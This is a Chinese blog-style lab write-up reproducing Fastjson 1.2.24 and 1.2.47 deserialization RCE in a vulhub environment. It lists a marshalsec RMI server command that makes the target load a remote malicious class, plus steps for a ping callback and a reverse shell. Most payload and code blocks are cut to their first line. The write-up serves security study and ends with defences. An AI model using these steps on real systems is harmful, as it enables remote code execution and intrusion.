【漏洞复现】Fastjson 系列反序列化漏洞复现
零、Fastjson 简介
Fastjson 是由阿里巴巴开源的一个 Java 库,用于处理 JSON 数据格式的序列化和反序列化,但是在这个过程中并没有使用Java 自带的序列化机制,而是自定义了一套机制。同时它因为性能优异而在 Java 开发者中广受欢迎。然而,Fastjson 在处理反序列化操作时存在一些安全问题,这些问题可能导致远程代码执行(RCE)等严重的安全漏洞。
综合来看,漏洞造成的原因如下:
- AutoType 功能:Fastjson 引入了AutoType 功能(自动类型,支持自省),开启该功能后在JSON 序列化之后的数据中多了一个 @type 字段。该字段可以指定反序列化的目标类型,允许序列化和反序列化未知类型的 Java 对象。
- 安全风险:当 Fastjson 处理包含 @type 字段的 JSON 数据时,它会尝试根据指定的类型创建对象,并调用其中满足条件的getter或者setter的方法,导致安全漏洞。
- 利用链:攻击者可以构造特定的 JSON 数据,通过 @type 字段指定一个存在安全漏洞的类。在反序列化过程中,Fastjson 会加载并执行这个类,从而执行攻击者指定的代码。
- JNDI 注入利用:一些已知的 Fastjson 漏洞利用了 RMI(远程方法调用)和 LDAP(Java 命名和目录接口)功能。攻击者可以通过这些接口远程执行代码,甚至在服务器上创建后门。
- 修复历程:Fastjson 1.2.24提出来AutoType 功能,允许自定义指定反序列化目标类型;1.2.25增加了
checkAutoType()
函数,采用黑白名单的方式对目标类型进行限制;从1.2.25之后的漏洞利用,基本上都是围绕绕过checkAutoType()
函数黑名单展开的。
一、Fastjson 框架和版本判断
1、判断fastjson 框架
在fastjson 请求包中增加json 请求体,看是否处于报错页面
2、判断版本
1、方法一:返回页面判断
这里检测的是1.2.47版本,但是针对1.2.24版本的话是没有回显
1 | { b{ |
这样单有报错,却没有回显版本信息属于1.2.47之前的版本
这样既有错误页面也返回了fastjson 的版本信息属于1.2.47之后
二、Fastjson 1.2.24-RCE 反序列化漏洞复现
1、漏洞原因
- Fastjson1.2.24支持的利用链有Templateslmpl 和 JdbcRowSetlmpl
- JdbcRowSetImpl 利用链就是造成的JNDI注入,其中sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用
2、影响版本
- 1.2.22 <= Fastjson <= 1.2.24
3、漏洞复现
1、环境配置
我们采用docker 进行部署
1 | cd vulhub/fastjson/1.2.24-rce |
访问靶机的8091端口
通过BP抓包构造json数据
页面报错,并未显示版本信息,判断为1.2.47版本以下
2、Dnslog平台命令回显
构造一个java类,执行ping 命令,采用dnslog 回显平台进行命令回显
1 | import java.lang.Runtime; |
使用javac 进行编译
1 | javac dnslog.java |
将编译好的.class 文件放在公网服务器上,并通过py3开启一个http服务
1 | python3 -m http.server |
安装marshalsec(用来开启rmi 服务)
1 | git clone https://github.com/mbechler/marshalsec.git |
启动服务,如:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.20.139:8000/#dnslog" 9999 |
漏洞利用,bp提交如下json格式(不同版本利用姿势的POC不同)
1 | { |
在dnslog 平台将会得到命令回显
3、反弹shell
1 | import java.io.IOException; |
编译并拿到恶意类的ExpLinux.class
文件,开启 http 服务,再利用marshalsec 开启JNDI 服务
1 | python3 -m http.server |
提交如下格式,nc监听bash 即将反弹的port:
1 | { |
三、Fastjson 1.2.47-RCE 漏洞复现
1、漏洞原因
本次Fastjson反序列化漏洞也是基于checkAutoType()
函数绕过的,并且无需开启AutoTypeSupport,大大提高了成功利用的概率。
绕过的大体思路是通过 java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()
就会抛出异常终止程序。
有一个稍微的注意点,如果目标服务端开启了AutoTypeSupport呢?经测试总结如下:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
2、影响版本
Fastjson 1.2.47 以及之前的所有版本都受到了这个漏洞的影响。
3、漏洞复现
环境搭建用BP抓包测试
返回数据中存在fastjson 版本信息
只需要更改最后的payload即可
1 | { |
四、防御措施
- 升级Fastjson到修复了该漏洞的版本。
- 关闭Fastjson的autoType 支持,或者在代码中对反序列化的数据进行严格的验证和过滤。
- 使用IP 的黑白名单控制访问
- 进行监控和日志记录